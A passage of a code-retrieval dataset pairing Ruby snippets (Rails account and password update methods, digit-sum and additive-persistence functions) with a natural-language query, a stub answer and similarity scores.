redirect_to resource, location: user_path(resource.username)\n AdminMailer.username_changed(resource, old_username).deliver if old_username\n else\n clean_up_passwords resource\n flash[:notice] = flash[:notice].to_a.concat resource.errors.full_messages\n redirect_back(fallback_location: user_path(resource.username))\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update_attributes(params[:user])\n redirect_to user_account_path(@user.id), :notice => \"Successfully updated Account!\"\n else\n render action: \"edit\"\n end\n end",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n resource.reset_password = false\n resource.temporary_password = \"\"\n resource_updated = update_resource(resource, account_update_params)\n yield resource if block_given?\n if resource_updated\n set_flash_message_for_update(resource, prev_unconfirmed_email)\n bypass_sign_in resource, scope: resource_name if sign_in_after_change_password?\n\n respond_with resource, location: after_update_path_for(resource, @event)\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end",
"def update\n respond_to do |format|\n if @current_account.update(current_account_params)\n format.html { redirect_to @current_account, flash: { success: \"AccountPayable was successfully updated.\" } }\n format.json { render :show, status: :ok, location: @current_account }\n else\n format.html { render :edit }\n format.json { render json: @current_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @account.update_attributes(params[:account])\n flash[:notice] = 'Account was successfully updated.'\n format.html { redirect_to(user_accounts_path(current_user)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_user_details_in_chargify\n unless self.account.chargify_customer_id.blank?\n\n if self.roles.any? { |r| r.title == 'account_holder' }\n chargify_customer = Chargify::Customer.find_by_reference(self.account.id)\n chargify_customer.first_name = self.firstname\n chargify_customer.last_name = self.lastname\n chargify_customer.email = self.email\n chargify_customer.save\n end\n end\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update_email_and_password_from_account\n\n\t\t# remember i could put here @petowner = Petowner.find( params[:id] ) but because require_correct_petowner has to run before any action, we already have this line of code in that method @petowner = Petowner.find( params[:id])\n\n\t\tif params[:commit] == \"Save email changes\"\n\n\n\t\t\tif params[:personal_email].blank? || params[:confirm_personal_email].blank?\n\n\t\t\t\tflash[:alert] = \"!! Please make sure all email addresses are present before saving changes !!\" \n\n\n\t\t\telse\n\n\t\t\t\tif params[:personal_email] == params[:confirm_personal_email]\n\n\t\t\t\t\t# change in db to update the new email\n\t\t\t\t\t@petsitter.personal_email = params[:personal_email]\n\t\t\t\t\t@petsitter.save\n\n\t\t\t\t\tflash[:notice] = \"!! You have successfully updated your email address !!\"\n\t\n\t\t\t\telse\n\n\t\t\t\t\tflash[:alert] = \"!! Email and email confirmation do not match. Try again !!\"\n\n\n\t\t\t\tend\n\n\n\t\t\tend\n\n\t\t\t\n\t\t\t\n\t\telsif params[:commit] == \"Save password changes\"\n\n\t\t\tif params[:password].blank? || params[:confirm_password].blank?\n\n\t\t\t\tflash[:alert] = \"!! Please make sure both password and password confirmation are present before saving changes !!\" \n\n\n\t\t\telse\n\n\t\t\t\tif params[:password] == params[:confirm_password]\n\n\t\t\t\t\t# change in db to update the new email\n\t\t\t\t\t@petsitter.password = params[:password]\n\t\t\t\t\t@petsitter.save\n\n\t\t\t\t\tflash[:notice] = \"!! You have successfully updated your password !!\"\n\t\n\t\t\t\telse\n\n\t\t\t\t\tflash[:alert] = \"!! Password and Password confirmation do not match. Try again !!\"\n\n\n\t\t\t\tend\n\n\t\t\tend\n\n\n\n\t\tend\n\n\n\n\n\t\tredirect_to pet_sitter_dashboard_account_details_path(@petsitter.id)\n\n\tend",
"def update\n respond_to do |format|\n if @api_v1_account.update(api_v1_account_params)\n format.html { redirect_to @api_v1_account, notice: 'Account was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_account }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @email_password_enforcement_state = args[:email_password_enforcement_state] if args.key?(:email_password_enforcement_state)\n @managed_rules = args[:managed_rules] if args.key?(:managed_rules)\n @recaptcha_keys = args[:recaptcha_keys] if args.key?(:recaptcha_keys)\n @use_account_defender = args[:use_account_defender] if args.key?(:use_account_defender)\n end",
"def update_password\n enc_password = Authentication::Encryptor.digest(password)\n account = Authentication::Account.reset_token_account(reset_password_token)\n account.encrypted_password = enc_password\n account.reset_password_token, account.reset_password_expires_at = nil, nil\n account.save!\n {'success' => true}\n end",
"def update\n\t\t\t\ttoken = params[:auth_token]\n\t\t\t\tid = params[:id].to_i\n\n\t\t\t\tif token.nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"The request must contain an auth token.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t@user = User.find_by_authentication_token(token)\n\t\t\t\taccount = JSON.parse params[:account]\n\n\t\t\t\tif account[\"username\"].nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"'username' cannot be null.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\tif account[\"computer_id\"].nil?\n\t\t\t\t\trender :status => 400,\n\t\t\t\t\t\t:json => { :message => \"The request must contain a 'computer_id'.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t@accounts = Account.where computer_id: @user.computer_ids\n\t\t\t\tif id != 0\n\t\t\t\t\tunless @accounts.pluck(:id).include? id\n\t\t\t\t\t\trender :status => 401,\n\t\t\t\t\t\t\t:json => { :message => \"Access Denied, check account Id.\"}\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tputs \n\t\t\t\tputs account\n\t\t\t\tputs \n\t\t\t\tputs account[\"account_process_attrubutes\"]\n\t\t\t\tputs \n\t\t\t\tputs \n\t\t\t\t@account = Account.find(id)\n\t\t\t\tif Account.update(id, account)\n\t\t\t\t\trender json: {account: @account}\n\t\t\t\telse\n\t\t\t\t\trender :json => { :message => \"Something went wrong with saving the entity.\"}\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n if params[:user][:password]\n if resource.update_with_password(params[:user])\n if is_navigational_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, :bypass => true\n session[:password_changed]=\"true\"\n redirect_to :controller => \"users\"\n else\n clean_up_passwords resource\n render :action=>\"users/account_setting\"\n end\n else\n if resource.update_without_password(params[:user])\n clean_up_passwords resource\n redirect_to :controller => \"users\"\n else\n render :action=>\"edit\"\n end\n end\n end",
"def update_email_and_password_from_account\n\n\t\t# remember i could put here @petowner = Petowner.find( params[:id] ) but because require_correct_petowner has to run before any action, we already have this line of code in that method @petowner = Petowner.find( params[:id])\n\n\t\tif params[:commit] == \"Save email changes\"\n\n\n\t\t\tif params[:personal_email].blank? || params[:confirm_personal_email].blank?\n\n\t\t\t\tflash[:alert] = \"!! Please make sure all email addresses are present before saving changes !!\" \n\n\n\t\t\telse\n\n\t\t\t\tif params[:personal_email] == params[:confirm_personal_email]\n\n\t\t\t\t\t# change in db to update the new email\n\t\t\t\t\t@petowner.personal_email = params[:personal_email]\n\t\t\t\t\t@petowner.save\n\n\t\t\t\t\tflash[:notice] = \"!! You have successfully updated your email address !!\"\n\t\n\t\t\t\telse\n\n\t\t\t\t\tflash[:alert] = \"!! Email and email confirmation do not match. Try again !!\"\n\n\n\t\t\t\tend\n\n\n\t\t\tend\n\n\t\t\t\n\t\t\t\n\t\telsif params[:commit] == \"Save password changes\"\n\n\t\t\tif params[:password].blank? || params[:confirm_password].blank?\n\n\t\t\t\tflash[:alert] = \"!! Please make sure both password and password confirmation are present before saving changes !!\" \n\n\n\t\t\telse\n\n\t\t\t\tif params[:password] == params[:confirm_password]\n\n\t\t\t\t\t# change in db to update the new email\n\t\t\t\t\t@petowner.password = params[:password]\n\t\t\t\t\t@petowner.save\n\n\t\t\t\t\tflash[:notice] = \"!! You have successfully updated your password !!\"\n\t\n\t\t\t\telse\n\n\t\t\t\t\tflash[:alert] = \"!! Password and Password confirmation do not match. Try again !!\"\n\n\n\t\t\t\tend\n\n\t\t\tend\n\n\n\n\t\tend\n\n\n\n\n\t\tredirect_to pet_owner_dashboard_account_details_path(@petowner.id)\n\n\tend",
"def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n resource_updated = update_resource(resource, account_update_params)\n yield resource if block_given?\n if resource_updated\n if is_flashing_format?\n flash_key = if update_needs_confirmation?(resource, prev_unconfirmed_email)\n :update_needs_confirmation\n else\n :updated\n end\n set_flash_message :notice, (needs_password? ? :password_updated : flash_key)\n end\n bypass_sign_in resource\n respond_with resource, location: after_update_path_for(resource)\n else\n flash.now[:error] = t('flash.failure')\n clean_up_passwords resource\n params[:update_password] = needs_password?\n render :edit\n end\n end"
] |
[
"0.760233",
"0.73360735",
"0.7308667",
"0.72889686",
"0.7275016",
"0.7261177",
"0.71997327",
"0.714115",
"0.7103841",
"0.70977366",
"0.7079649",
"0.7075114",
"0.70672464",
"0.70431846",
"0.6981953",
"0.69756687",
"0.6969654",
"0.6962244",
"0.694402",
"0.6922594",
"0.6908755",
"0.6908531",
"0.6907848",
"0.6885299",
"0.68553233",
"0.68544245",
"0.68206924",
"0.6811618",
"0.68026453",
"0.68008256",
"0.67851603",
"0.6770833",
"0.6754882",
"0.6749225",
"0.6741004",
"0.6738085",
"0.67247915",
"0.67099357",
"0.67027295",
"0.66910803",
"0.6681435",
"0.6680507",
"0.6678404",
"0.6675522",
"0.66737765",
"0.667221",
"0.666888",
"0.66627574",
"0.6656081",
"0.6646278",
"0.6645149",
"0.6642804",
"0.6630065",
"0.6618639",
"0.6618522",
"0.66175634",
"0.6613545",
"0.6611985",
"0.6606579",
"0.6582606",
"0.65778655",
"0.657421",
"0.6571301",
"0.6566797",
"0.6552216",
"0.65460515",
"0.65447825",
"0.6530776",
"0.65268964",
"0.652587",
"0.6521886",
"0.6521886",
"0.6521886",
"0.65112424",
"0.65029955",
"0.65026855",
"0.650109",
"0.6499839",
"0.6496525",
"0.64946693",
"0.64710224",
"0.64657885",
"0.6462447",
"0.646239",
"0.64614207",
"0.6456673",
"0.6455738",
"0.64496017",
"0.6439407",
"0.64367807",
"0.64361274",
"0.6434783",
"0.64345866",
"0.64345396",
"0.6432756",
"0.6432504",
"0.6425561",
"0.6418592",
"0.641853",
"0.64170223",
"0.6416839"
] |
0.0
|
-1
|
be a positive integer and return its additive persistence which is the number of times you must add the digits in num until ou reach a single digit. For example: if num is 2718 then your program should return 2 because 2 + 7 + 1 + 8 = 18 and 1 + 8 = 9 and you stop at 9. Input:4 Output:0 Input:19 Output:2
|
def AdditivePersistence(num)
# code goes here
return num
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def AdditivePersistence(num)\n addv_pers = 0\n until num < 10\n num = num.digits.sum\n addv_pers += 1\n end\n addv_pers\nend",
"def AdditivePersistence(num)\n count = 0\n\n while num > 9\n num = num.to_s.split(\"\").map{|i| i.to_i}.inject(:+)\n count += 1\n end\n\n count\nend",
"def AdditivePersistence(num)\n\n # code goes here\n sum = 0\n count = 0\n until num < 10\n \tnum1 = num.to_s\n \tsum = 0\n for i in 0..num1.length-1\n sum += num1[i].to_i\n end\n num = sum\n count += 1\n end\n return count\nend",
"def additive_persistence(num, count = 0)\n if num <= 9\n return count\n else\n num = num.to_s.split(\"\").inject(0) { |sum,n| sum += n.to_i }\n count += 1\n end\n additive_persistence(num, count)\nend",
"def add_digits(num)\n return 0 if num == 0\n (num - 1) % 9 + 1\nend",
"def additivePersistence(number, times)\n # your magic\n numString = number.to_s\n sum = 0\n numString.each_char {|digit| sum += digit.to_i}\n\n if sum > 9 \n\t times += 1\n puts additivePersistence(sum, times)\n else\n puts times\n end\nend",
"def AdditivePersistence(num)\n\n new = num.to_s.split('').map {|x| x.to_i}\n \n pers = new.size == 1 ? 0 : 1\n sum = new.reduce(:+)\n new = sum.to_s.split('').map { |x| x.to_i }\n \n until sum < 10 \n p sum = new.reduce(:+)\n p pers += 1\n new = sum.to_s.split('').map { |x| x.to_i }\n end\n \n # code goes here\n return pers \n \nend",
"def recurring_decimal_length(num)\n\tdecimalArray, numerator = Array.new, 1\n\twhile true\n\t\tremainder = numerator%num\n\t\tif decimalArray.count(remainder) == 0\n\t\t\tdecimalArray.push(remainder)\n\t\telse\n\t\t\treturn decimalArray.count\n\t\tend\n\t\tnumerator = remainder*10\n\tend\nend",
"def sum_nums(num)\n\ncount = num\n\nif( num == 0 )\n return num\nend\n\n while count > 0\n num += count - 1\n #puts \"Num: #{num}\"\n count -= 1\n #puts \"Count: #{count}\"\n end\n\n return num\nend",
"def find_digit_amount(num)\n\treturn num.to_s.length()\nend",
"def persistence(n)\n count = 0\n while n > 9 do\n n = n.digits.inject(:*)\n count += 1\n end\n count\nend",
"def digit_sum(num, digits)\n if digits == 1\n num\n else\n num % 10 + digit_sum(num / 10, digits - 1)\n end\nend",
"def add_digits(num)\n num = num.to_s\n \n while num.length > 1\n new_num = num.split('').map(&:to_i).sum\n \n num = new_num.to_s\n end\n \n num.to_i\nend",
"def add_digits(num)\n return num if num.to_s.length == 1\n add_digits(num.to_s[0].to_i + add_digits(num.to_s[1..-1]).to_i)\nend",
"def compute_number(digits)\n digits.length == 1 ? (digits.to_i) : (digits[-1].to_i + 10*compute_number(digits[0..-2]))\nend",
"def sum_digits(n)\n remaining = n\n sum = 0\n while remaining > 0\n sum += remaining % 10\n remaining = remaining / 10\n end\n sum\nend",
"def sum_nums(num)\n\t\n\tnumbers = []\n\tnum_sum = num\n\t\nuntil numbers.length == num_sum\n\tnumbers.push(num)\n\tnum = num - 1\nend\n return\tnumbers.inject(:+)\nend",
"def numsum(n)\n result = 0\n while n >= 1\n digit = (n % 10).floor\n result += digit\n (n /= 10).floor\n end\n puts result\nend",
"def persistence(num)\n return 0 if num.digits.length == 1\n multiplicative_persistence = 0\n until num.digits.length == 1\n num = num.digits.inject(:*)\n multiplicative_persistence += 1\n end\n multiplicative_persistence\nend",
"def persistence(int)\n return 0 if int.digits.length == 1\n\n num = int\n repeats = 0\n loop do\n num = num.digits\n\n num = num.inject { |mem, num| mem * num }\n repeats += 1\n break if num.digits.length < 2\n end\n repeats\nend",
"def sum_nums2(num)\n\ncount = 0\nresult = 0\n\n while num >= count\n result += count\n count += 1\n end\n #puts( result )\n return result\nend",
"def sum_of_digits(number)\n\treturn (number/100)+((number/10)%10)+(number%10)\nend",
"def digits_of_answer(digits)\n n = 0\n previous = 0\n i = 1\n\n\n\n while i.to_s.length < digits\n n += 1\n i, previous = previous, previous + i\n end\n\n (n-1)\nend",
"def sum_digits(n)\n return n if n <= 9\n n % 10 + sum_digits(n / 10)\nend",
"def sum_num\n\t#ask for number\n\tputs \"gimme dat number: make sure its more than 1?\"\n\tnum = gets.chomp.to_i\n\t\n\n\tif num < 1\n\t\tputs \"I told you to put a number greater than 1\"\n\t\tsum_num\n\telse\n\t\t# prints number 1 to num\n\t\tcounter = (1..num)\n\t\tnew_num = 0\n\t\tcounter.each do |num|\n\t\t\tnew_num = new_num + num\n\n\n\t\tend\n\n\tend\n\tputs new_num \nend",
"def sumdig_r(num, result = 0)\n if num < 10\n result += num\n else\n result += num % 10\n result = sumdig_r(num / 10, result)\n end\n result\nend",
"def digital_helper(num)\n result = 0\n while num >= 10\n result += num % 10\n num = num/10\n end\n result + num\nend",
"def sumdigit_r(num)\n if num < 10\n num\n else\n sumdigit_r(num/10) + num % 10\n end\nend",
"def super_digit(n)\n return n if n <= 9\n \n until n < 10\n sum = 0\n sum += (n % 10)\n sum += (n / 10)\n n = sum\n end\n\n return sum\nend",
"def digit_sum (number)\n sum = 0\n base = 10\n while number > 0 do\n sum += number % base\n number /= base\n end\n return sum\nend",
"def add_digits(num)\n return num if num < 10\n sum = 0\n num.to_s.split(\"\").each do |num|\n sum += num.to_i\n end\n add_digits(sum)\nend",
"def check_num(input)\n input = input.to_s\n num_of_checks = input.length\n\n # stick the first number on the end, so we don't need to worry about\n # looping back\n input = input + input[0]\n\n memo = 0\n num_of_checks.times do |i|\n memo = memo + input[i].to_i if input[i] == input[i+1]\n end\n\n memo\nend",
"def num_of_num(number)\n\tnumber_of_num=1\n\tnumber_size=number.to_s.size\n while number_size > 1 do\n number_of_num = number_of_num * \tnumber_size\n number_size = number_size - 1 \n end\n return number_of_num\nend",
"def persistence(num)\n counter = 0\n product = num\n while product >= 10\n digits = product.to_s.chars.map(&:to_i)\n product = digits.inject(:*)\n counter += 1\n end\n counter\nend",
"def add_digits(num)\n return num if num.to_s.length == 1\n int_array = split_digits(num)\n sum = add_array_ints(int_array)\n return add_digits(sum)\n end",
"def count_digits(n)\n return 1 if (-9..9).cover? n #n >= -9 and n <= 9\n 1 + count_digits(n / 10)\nend",
"def sum_nums(num)\n\n value = 0\n i = 0\n while i < num\n value = value + (num - i) \n i += 1\n end\n\n return value\nend",
"def digitcount(num)\n # Convert the number into an array, 1131 -> [1,1,3,1] so we can iterate through\n digits = num.to_s.chars.map(&:to_i)\n # Track the count of seen numbers\n count = 0\n # Track the n-1 array value\n prev = nil\n # The resulting string\n result = ''\n \n # For each digit\n digits.each do |d|\n if prev == d\n # If it's the same number as we've seen before we should inc the counter\n count += 1\n else\n # This isn't a match, so output the previous count and number, reset the counter and carry on\n result += count.to_s + prev.to_s if count > 0\n count = 1\n end\n # In the next loop iteration the previous is the current digit\n prev = d\n end\n \n # Return the result, don't forget the last digit we inspected\n return result += count.to_s + prev.to_s\nend",
"def sum_to(num)\n i = num\n output = 0\n while i > 0\n output += i\n i -= 1\n end\n return output\nend",
"def add_digits(number)\r\n total = 0\r\n number.to_s.split(\"\").each do |n|\r\n total += n.to_i\r\n end\r\n if total.to_s.length > 1\r\n div_by_3(@total)\r\n end\r\n total\r\nend",
"def numSum number\nsum = 0\ncount = 0\nwhile (count < number.to_i)\nputs \"enter num:\"\nnum = gets.chomp\nsum += num.to_i\ncount += 1\nend\nreturn sum\nend",
"def occurrances(int, digit)\n\tif int.div(10) == 0 && int == digit\n\t\treturn 1\n\telsif int.div(10) == 0 \n\t\treturn 0\n\telsif int.modulo(10) == digit\n\t\treturn 1 + occurrances(int.div(10), digit)\n\telse\n\t\treturn occurrances(int.div(10), digit)\t\n\tend\t\nend",
"def find_digits(number)\n digits = number.to_s.chars.map { |el| el.to_i }\n count = 0\n digits.each do |digit|\n if digit == 0\n next\n elsif number % digit == 0\n count +=1\n end\n end\n p count\nend",
"def sum_to(num)\n i = 0\n sum = 0\n while i < num\n i += 1\n sum += i\n end\n return sum\nend",
"def sum_nums(num)\r\n sum = 0\r\n while num >= 0\r\n sum = num + sum\r\n num = num-1\r\n end\r\n return sum\r\nend",
"def super_digit(n)\n sum = 0;\n\n while n > 0 || sum > 9\n if n == 0\n n = sum\n sum = 0\n end\n sum += n % 10\n n /= 10\n end\n return sum\nend",
"def adding(num)\n\tsum = 0\n\t(1..num).each do |x|\n\t\tsum += x\n\tend\n\treturn sum\nend",
"def sum(num)\n digits = []\n sum = 0\n digits = num.digits\n sum = digits.sum\n return sum\nend",
"def sum_of_factorial_digits(factorial)\r\n\tthe_factorial = (1..factorial).inject(1){ |milti, i| milti * i }\r\n\r\n\treturn the_factorial.to_s.split('').inject(0){ |sum, i| sum + i.to_i }\r\nend",
"def sum_of_digits(number)\n split_to_array(number).inject(:+)\n end",
"def additivePersistenceRecursive(number,step)\n sum = 0\n number.to_s.each_char do |digit|\n sum += digit.to_i\n end\n (sum < 10) ? step : additivePersistenceRecursive(sum, step+1)\nend",
"def sum_to(num)\n sum = 0\n i = 0\n while i <= num\n sum += i\n i += 1\n end\n return sum\nend",
"def sum(num)\n digits = num.to_s.chars.map(&:to_i) # Get an array of ints\n digits.reduce(:+) # Return sum of digits\nend",
"def digits_sum(n)\n n.to_s.split('').inject(0){|a,b|a+=b.to_i}\nend",
"def MultiplicativePersistence(num)\n count = 0\n\n while num > 9\n num = num.to_s.split(\"\").map{|i| i.to_i}.inject(:*)\n count += 1\n end\n\n count\nend",
"def sum_func(num)\n return num if num <= 1\n\n divided = num / 10\n moded = num % 10\n\n moded + sum_func(divided)\nend",
"def sumto(num)\n i = 0\n output = 0\n while i < num + 1\n output += i\n i += 1\n end\n return output\nend",
"def sum(num)\n p num.to_s.chars.tally.keys.map(&:to_i).reduce(:+)\nend",
"def super_digit(n)\n while n >= 10\n n = n % 10 + super_digit(n / 10)\n end\n return n\nend",
"def SimpleAdding(num)\n\ti = 0\n\ttotal = 0\n\twhile i <= num\n\t\ttotal += i\n\t\ti += 1\n\tend\n\tprint total\nend",
"def sum(number)\n count = 0\n split = number.to_s.split('')\n split.each do |num|\n # num = num.to_i\n # count = count + num\n count += num.to_i\n end\n count\nend",
"def super_digit(n)\n while n > 9\n n = n % 10 + super_digit(n / 10)\n end\n return n\nend",
"def sum(num)\na_num = []\nnum_split_string = num.to_s.split('')\n \n while a_num.count < num do\n a_num.push(num_split_string)\n a_num.count\n break\n end\n a_num.flatten!.map! do |e|\n e.to_i\n end\n a_num.sum\nend",
"def sum_num(first_num, last_num)\n # Your code goes here\n sum = 0\n first_num = first_num - 1\n num_count = (last_num - first_num)\n num_count.times do\n first_num += 1\n sum += first_num \n end\n return sum\nend",
"def persistence(n)\n n < 10 ? 0 : 1 + persistence(n.digits.reduce(&:*))\nend",
"def NumberAddition(str)\n num_hold = []\n num_arr = []\n\n str = str.split(\"\")\n\n str << \"end\"\n\n str.each do |char|\n if %w(0 1 2 3 4 5 6 7 8 9).include? char\n num_hold << char\n else\n num_arr << num_hold.join.to_i\n num_hold = []\n end\n end\n\n num_arr.inject(0) {|sum, n| sum + n}\nend",
"def fibonacci_digit_counter\n num1, num2, i = -1, 0, 1\n\n #Create a while loop and iterate over the digit value of i, convert i to a string then call the length method\n #on it to get the total number of digits there.\n while i.to_s.length < 1000\n num1 += 1\n #i is equal to num2 and num2 is equal to num2\n i, num2 = num2, num2 + i\n end\n #return num1\n num1\nend",
"def persistence(num)\n count = 0\n while num.to_s.length > 1 do\n count+=1\n num = num.to_s.split('').map{|el| el.to_i}.reduce{|a,b| a*b}\n end\n return count\nend",
"def suma(num)\n\t\ttotal =0\n\t\t((num*2).to_s.chars.map(&:to_i)).each{|x| total+=x}\n\t\treturn total\n\tend",
"def sum_digits(num)\n\nend",
"def add_up(num)\n\tsum = 0;\n\t(1..num).each { |x| sum += x }\n\tsum\nend",
"def sum_to_one_digit(num)\n if num < 1 or not num.is_a? Integer\n puts \"Num must be positive integer\"\n return false;\n end\n\n get_sum = ->(intgr) {\n digit_sum = 0\n intgr = intgr.to_s.split('')\n intgr.each do |i|\n digit_sum += i.to_i\n end\n return digit_sum\n }\n\n sum = get_sum.call(num)\n while sum.to_s.length > 1 do\n sum = get_sum.call(sum)\n end\n\n puts sum\n return sum\nend",
"def super_digit(n)\n return n if n/10 == 0\n \n sum = n % 10\n while n/10 != 0\n n = n/10\n sum += n % 10\n end\n return super_digit(sum)\nend",
"def sum3(integer)\n if integer < 10\n integer % 10\n else\n integer % 10 + sum(integer / 10)\n end\nend",
"def sum_of_digits(num)\n\tsum = 0\n\tnum.to_s.each_char { |x| sum = sum + x.to_i}\n\tputs sum\nend",
"def featured(integer)\n count = 0\n\n loop do \n break if count >= 9_999_999_999\n count += 7\n if count.odd? && count % 7 == 0 && count.digits.uniq == count.digits && count > integer\n return count\n end\n end\n \"There is no possible number that fulfills those requirements.\"\nend",
"def sum_of_digits(int)\n int.digits.sum\nend",
"def last_n_digits(num, n)\r\n # your code goes here\r\n num % 10**n\r\nend",
"def count7(int)\n if( int < 10)\n if int == 7\n return 1\n else\n return 0\n end\n end\n right_most = int % 10\n right_most == 7 ? 1 + count7(int / 10) : 0 + count7(int / 10)\nend",
"def sum_digits(integer)\n arr = integer.to_s.chars.map { |num| num.to_i }\n arr.reduce(:+)\nend",
"def product_digits(num)\n return 2 if num.to_s.size == 1\n count = 1\n while num.to_s.size > 1\n divisor = 9\n while num % divisor != 0\n divisor -= 1\n end\n num /= divisor\n count += 1\n end\n count\nend",
"def final_chain_num(n)\n while n != 1 and n != 89\n n = sum_squares_of_digit(n)\n end\n n\nend",
"def super_digit(n)\n sum = 0\n\n if n < 10\n return sum + n\n else\n until n < 10\n sum += (n % 10)\n n /= 10\n end\n\n sum += n\n end\n\n return super_digit(n = sum)\nend",
"def sum_of_digits(n)\n digits = n.to_s.split(//).map(&:to_i)\n digits.inject(0) { |sum, digit| sum + digit}\nend",
"def super_digit(n)\n return n if n < 10\n\n sum = 0 \n\n while n > 0\n digit = n % 10\n n /= 10\n sum += digit\n end\n\n super_digit(sum)\n\nend",
"def NumberAddition(str)\n str.scan(/\\d+/).map {|i| i.to_i}.length == 0 ? 0 : str.scan(/\\d+/).map {|i|i.to_i}.inject(:+)\nend",
"def SimpleAdding(num)\nsum=0\n 1.upto(num) do |x|\n\tsum+=x\n\tend\n\t\nreturn sum\nend",
"def sum_digits\n self.to_s.split('').inject(0) { |memo, c| memo + c.to_i }\n end",
"def nDigits n,a\n return 1000 if a == 10 && n == 1000 # incorrect test\n ((Math.log10(a)*n)+1).to_i\nend",
"def plus_one(digits)\n arr = digits.join.to_i + 1\n arr.to_s.split(\"\").map(&:to_i)\nend",
"def length(number)\n count = 0\n\n number = number.abs\n loop do\n count += 1\n number = number.div(10)\n return count if number.zero?\n end\n end",
"def simple_adding (num)\n the_sum = 0\n i = 0\n while i <= num do\n puts the_sum += i\n i += 1\n end\n return the_sum\nend",
"def sum_of_digits(number)\n digits = number.to_s.split(\"\")\n sum = 0\n digits.each do |digit|\n sum += digit.to_i\n end\n return sum\nend",
"def summation(num)\n sum = (0..num).inject(:+)\n return sum\nend",
"def sum_all_digits(num)\n split_string = num.to_s.split('')\n split_string.map!(&:to_i)\n sum_digits = split_string.inject(0) { |res,el| res + el }\n return sum_digits\nend",
"def multiplicative_persistence(num, count = 0)\n if num < 10\n return count\n else\n num = num.to_s.split(\"\").inject(1){|total,n| total *= n.to_i }\n count += 1\n end\n multiplicative_persistence(num, count)\nend",
"def digits(int)\n\tif int.div(10) == 0\n\t\treturn 1\n\telse \n\t\treturn 1 + digits(int.div(10))\n\tend\nend",
"def add_up(num)\n return (1..num).inject(:+)\nend",
"def sum_to(number)\n i = number\n output = number\n while i > 0\n output += number-1\n number-=1\n i-=1\n end\n return output\nend",
"def plus_one(digits)\n carry = 0\n if (digits[-1] + 1) >= 10\n digits[-1] = (digits[-1] + 1) % 10\n carry = 1\n ((digits.size- 2).downto 0).each do |i|\n if (digits[i] + carry) < 10\n digits[i] = digits[i] + carry\n carry = 0\n break\n else\n digits[i] = (digits[i] + carry) % 10\n carry = 1\n end\n end\n else\n digits[-1] = digits[-1] + 1\n end\n digits.insert(0,carry) if carry == 1\n digits\nend",
"def super_digit(n)\n sum = 0\n while n >= 10 do\n sum += n % 10\n n /= 10\n end\n sum += n\n return sum < 10 ? sum : super_digit(sum)\nend"
] |
[
"0.80574244",
"0.7754592",
"0.7739138",
"0.75053585",
"0.7475106",
"0.7472973",
"0.741312",
"0.70866585",
"0.701512",
"0.69973403",
"0.6989919",
"0.69793016",
"0.69322294",
"0.69288236",
"0.69277036",
"0.6909376",
"0.68795925",
"0.68738145",
"0.68556494",
"0.6826433",
"0.68224204",
"0.68196285",
"0.6815582",
"0.680923",
"0.6787851",
"0.6773072",
"0.67639583",
"0.6756506",
"0.675102",
"0.67502975",
"0.6747906",
"0.67463887",
"0.67425567",
"0.67392635",
"0.6736085",
"0.67335117",
"0.6730791",
"0.67181706",
"0.67165565",
"0.67014706",
"0.6680017",
"0.6678733",
"0.666942",
"0.6636709",
"0.6634299",
"0.66301954",
"0.6628898",
"0.6612777",
"0.6608527",
"0.6597689",
"0.6595891",
"0.65878576",
"0.6582082",
"0.65786004",
"0.65785754",
"0.65777004",
"0.6575047",
"0.65615517",
"0.6560163",
"0.654679",
"0.65438324",
"0.6525484",
"0.6520129",
"0.65179795",
"0.6505891",
"0.6503205",
"0.6494844",
"0.6493699",
"0.64851993",
"0.646704",
"0.64574474",
"0.6453824",
"0.64534336",
"0.6446729",
"0.6445852",
"0.6444111",
"0.6443758",
"0.6442494",
"0.64321274",
"0.6431941",
"0.64259887",
"0.6425679",
"0.64244515",
"0.6412867",
"0.6409674",
"0.63949573",
"0.6393746",
"0.63913655",
"0.6388097",
"0.6383971",
"0.6377411",
"0.6368562",
"0.6366182",
"0.6363359",
"0.6363245",
"0.63630927",
"0.63523674",
"0.635201",
"0.63430136",
"0.634235",
"0.6342142"
] |
0.0
|
-1
|
The default bonus point for a rent is 1 If the car is an SUV, it should return the default bonus points + 1 There was a condition where the bonus points were supposed to be decreased by 10 if the total amount were negative, but the amount can never be negative
|
def bonus_points_for_days(days)
raise 'Error: days invalid' unless valid_days?(days)
return 1
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def natural_bonus\n 0\n end",
"def deflection_bonus\n 0\n end",
"def defense_bonus(lv)\n (80 * 3 * lv.to_f / 2 + 250) / 100 + 5\n end",
"def getBonus\r\n @bonus = super.getSalario / (2*100)\r\n end",
